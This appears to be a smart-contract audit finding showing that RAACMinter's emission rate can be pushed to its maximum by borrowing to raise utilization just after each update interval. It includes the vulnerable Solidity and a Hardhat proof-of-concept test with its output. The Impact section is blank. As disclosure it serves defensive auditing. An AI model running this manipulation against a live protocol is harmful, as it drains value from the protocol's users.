Summary
The function RAACMinter::updateEmissionRate()
can update the emission rate if the emission update interval passed. Here exists an flaw that can allow an attacker to inflate the emission rate by increasing utilization each time time emission rate is updated.
Vulnerability Details
The function RAACMinter::updateEmissionRate()
allows anyone to update the emission rate if an emission update interval passed. The new rate is calculated based on the current system utilization. The utilization rate depends on current LendingPool
's total borrows and StabilityPool
's total deposits.
This can open up an attack vector that right after the update interval passes, an attacker borrows a large amount of funds from LendingPool to increase the utilization rate (to be higher than the target utilization) in order to increase the emission rate and then finally repay the debt without any interest. By this, the attacker can repeat the same attack vector after each update interval passes. As a result, after many intervals pass, the emission rate can be inflated to be maximum value. The higher the value adjustmentFactor
is it, the less intervals needed to inflate the emission rate to maximum
Note that the utilization rate can also be manipulated to be lower to decrease emission rate
function updateEmissionRate() public whenNotPaused {
if (emissionUpdateInterval > 0 && block.timestamp < lastEmissionUpdateTimestamp + emissionUpdateInterval) {
revert EmissionUpdateTooFrequent();
}
@> uint256 newRate = calculateNewEmissionRate();
@> emissionRate = newRate;
lastEmissionUpdateTimestamp = block.timestamp;
emit EmissionRateUpdated(newRate);
}
function calculateNewEmissionRate() internal view returns (uint256) {
@> uint256 utilizationRate = getUtilizationRate();
uint256 adjustment = (emissionRate * adjustmentFactor) / 100;
@> if (utilizationRate > utilizationTarget) {
uint256 increasedRate = emissionRate + adjustment;
uint256 maxRate = increasedRate > benchmarkRate ? increasedRate : benchmarkRate;
return maxRate < maxEmissionRate ? maxRate : maxEmissionRate;
} else if (utilizationRate < utilizationTarget) {
uint256 decreasedRate = emissionRate > adjustment ? emissionRate - adjustment : 0;
uint256 minRate = decreasedRate < benchmarkRate ? decreasedRate : benchmarkRate;
return minRate > minEmissionRate ? minRate : minEmissionRate;
}
return emissionRate;
}
function getUtilizationRate() internal view returns (uint256) {
@> uint256 totalBorrowed = lendingPool.getNormalizedDebt();
@> uint256 totalDeposits = stabilityPool.getTotalDeposits();
if (totalDeposits == 0) return 0;
@> return (totalBorrowed * 100) / totalDeposits;
}
PoC
Add the test to test/unit/core/minters/RAACMinter.test.js
describe("RAACMinter", function () {
...
it.only("inflate emission rate", async function(){
await ethers.provider.send("evm_increaseTime", [86400 + 1]);
await ethers.provider.send("evm_mine");
await lendingPool.mockGetNormalizedDebt(ethers.parseUnits("20", 27));
await stabilityPool.mockGetTotalDeposits(ethers.parseUnits("100", 27));
await raacMinter.updateEmissionRate();
const initialEmissionRate = await raacMinter.emissionRate();
for(let i = 0 ; i < 16; ++i){
await ethers.provider.send("evm_increaseTime", [86400 + 1]);
await ethers.provider.send("evm_mine");
await lendingPool.mockGetNormalizedDebt(ethers.parseUnits("1000", 27));
await raacMinter.updateEmissionRate();
}
let currentEmissionRate = await raacMinter.emissionRate();
console.log(initialEmissionRate, currentEmissionRate)
expect(currentEmissionRate).to.eq(await raacMinter.maxEmissionRate())
})
Run the test and console shows:
RAACMinter
131944444444444444n 277777777777777777n
✔ inflate emission rate (74ms)
1 passing (2s)
It means that the emission rate reaches maximum after 16 intervals
Impact
Tools Used
Manual
Recommendations
Consider capping the rate change based on the difference between utilization rates